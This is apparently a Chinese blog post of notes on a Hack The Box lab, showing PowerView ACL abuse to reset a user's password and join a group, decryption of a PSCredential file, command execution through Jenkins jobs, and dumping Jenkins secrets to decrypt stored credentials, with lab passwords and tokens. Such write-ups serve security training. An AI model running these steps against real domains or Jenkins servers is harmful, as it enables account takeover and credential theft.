用户与用户

需要PowerView 和 PowerShell(powershell直接输入命令powershell就可以)

接下来,我将把 Tom 设置为 claire 的 ACL 的所有者:

Set-DomainObjectOwner -identity claire -OwnerIdentity tom

接下来,我将授予 Tom 更改该 ACL 上的密码的权限:

Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword

现在,我将创建一个凭据,然后设置克莱尔的密码:

$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force

Set-DomainUserPassword -identity claire -accountpassword $cred

利用该密码

ssh claire@10.10.10.77

WriteDacl(添加用户到admin)

通过之前的分析,我知道claire对Backup_Admins组有WriteDacl权限。我可以用它来将她添加到群组中。首先,查看该组的唯一成员是 ranj:

net group backup_admins

现在添加克莱尔:

net group backup_admins claire /add

net group backup_admins 可以看到有他了

尽管事实上它显示克莱尔现在在群组中,但我必须注销并重新登录才能使其生效

.xml(PSCredential 对象)

在nico的桌面上,有一个文件cred.xml

C:\Users\nico\Desktop>type cred.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d2
0f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

PowerShell 有一个名为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。还有两个函数Import-CliXmlExport-CliXml,用于将这些凭据保存到文件中以及从文件中恢复它们。该文件是 的输出Export-CliXml

我可以通过使用 加载文件Import-CliXml,然后转储结果来从文件中获取明文密码:

C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

.cvs文件

Before breaking out Bloodhound, it’s useful to understand the kind of data that we’re working with. Here’s an example row:

ObjectNameObjectTypeObjectGuidPrincipalNamePrincipalTypeActiveDirectoryRightsACETypeAccessControlTypeIsInherited
herman@HTB.LOCALUSERnico@HTB.LOCALUSERWriteOwnerAccessAllowedFalse

这一行表示对于 USER 对象 herman,nico 具有 WriteOwner 权限。adsecurity.org 上的这篇博客文章详细介绍了这些权利如何运作以及如何利用它们,但这使 nico 对 Herman 有很大的控制权。

我将把 csv 加载到 LibreOffice Calc 中,将数据设置到带有过滤器的表格中,然后冻结标题行。然后,要查看 Tom 拥有哪些对象的权限,我将对 Tom 进行过滤:

汤姆过滤器

所以 Tom 对 claire 拥有 WriteOwner 权限:

1541468889702

如果我对 claire 执行相同的过滤器,我将看到 claire 对 Backup_Admins 组对象具有 WriteDacl 权限:

1541468962624

由于 Backup_Admins 听起来很有潜力,所以这将是我的计划。

Jenkins渗透提权

自己创建一个用户登入

image-20231226232050825

点击右上角的创建用户的名字——》config,可以看到token

image-20231226232103301

可以尝试访问/manage(Jenkins Add User - How to add and manage user permissions in Jenkins?) 但是没权限

又找到一篇文章,试试访问/script 也没权限

Lab of a Penetration Tester: Hacking Jenkins Servers With No Password - Powershell fun

这篇文章是别人试的提全in windows不过不适用于该台靶机

来到

image-20231226232615989

创建一个freestyle

image-20231226232756889

在选项里选择这个

image-20231226232718347

写入cmd /c whoami 但是没反应

方法1(时间)

在选项中,选择构建触发器里面的build periodically

image-20231226232859198

“定期构建”似乎很有希望。我将选中该框,它会提供一个空文本字段。Jenkins 使用类似于 cron 的调度系统。我将输入“* * * * *”,它警告我这将每分钟运行一次:

image-20231226233006892

保存并在一分钟后刷新页面,历史记录中有一个构建:

图片-20220227065719113

点击后“控制台输出”显示作业已运行:

image-20231226233032189

方法二:远程触发

运行不同的命令,每个命令之间等待一分钟有点累人。我将禁用预定的触发器。看看“构建触发器”的其他选项,“触发器远程构建(例如,从脚本)”似乎很有趣。检查它会扩展要求“身份验证令牌”:

图片-20220227113123491

我可以尝试仅添加一个字符串作为令牌(例如“TestToken”)并请求他们提供的端点,但它不起作用:

oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken"
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'>


Authentication required
<!--
-->

</body></html>    

在枚举过程中,我发现可以在个人资料中创建 API 令牌。我将前往那里并单击“添加新令牌”:

图片-20220227113733612

我将为其命名0xdfToken并单击“生成”:

图片-20220227113810458

我还将使用该作业更新批处理脚本,以便清楚地了解它触发的原因:

图片-20220227124131900

这篇文章展示了如何实际触发该作业。我需要使用表单的 url:

http://[username]:[token]@[host]/job/[job name]/build?token=[token name]

所以对我来说,那就是:

oxdf@hacky$ curl "http://0xdf:1176e6f7ba9fdf90c7ec7dba8c413cda89@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"

服务器没有响应,但作业触发,片刻之后控制台输出:

图片-20220227124212845

防火墙枚举

尝试让 PowerShell 使用Invoke-WebRequest(或iwr) 下载 PowerShell 脚本时不行

怀疑有防火墙

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

  • -Direction Outbound- 限制出站规则,因为这就是我遇到问题的地方

  • -Action Block- 限制阻止流量的规则

  • -Enabled True- 不显示存在但未启用的大量规则

image-20231226233429914

是没办法反弹shell了

寻找账号密码文件(解密工具)

枚举

powershell -c ls ....\users\ 进入admin后看到admin_17207690984073220035

powershell -c ls ....\users\admin_17207690984073220035

可以看到config.xml

type看内容,将内容复制到本地,查看发现有哈希值和加密密码

image-20231226233928517

GitHub - hoto/jenkins-credentials-decryptor: Command line tool for dumping Jenkins credentials.

(Jenkins 将加密凭证存储在credentials.xml文件或config.xml. 要解密它们,您需要master.keyhudson.util.Secret文件。)

powershell -c ls ....\secrets

powershell -c cat ....\secrets\master.key

hudson.util.Secret看起来像一个二进制文件:

image-20231226233959817

使用 PowerShell 对它进行 base64编码

powershell -c [convert]::ToBase64String((cat ....\secrets\hudson.util.Secret -Encoding byte))

将该字符串复制echobase64 -d本地系统中以将其保存到文件中。

利用脚本解密

./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值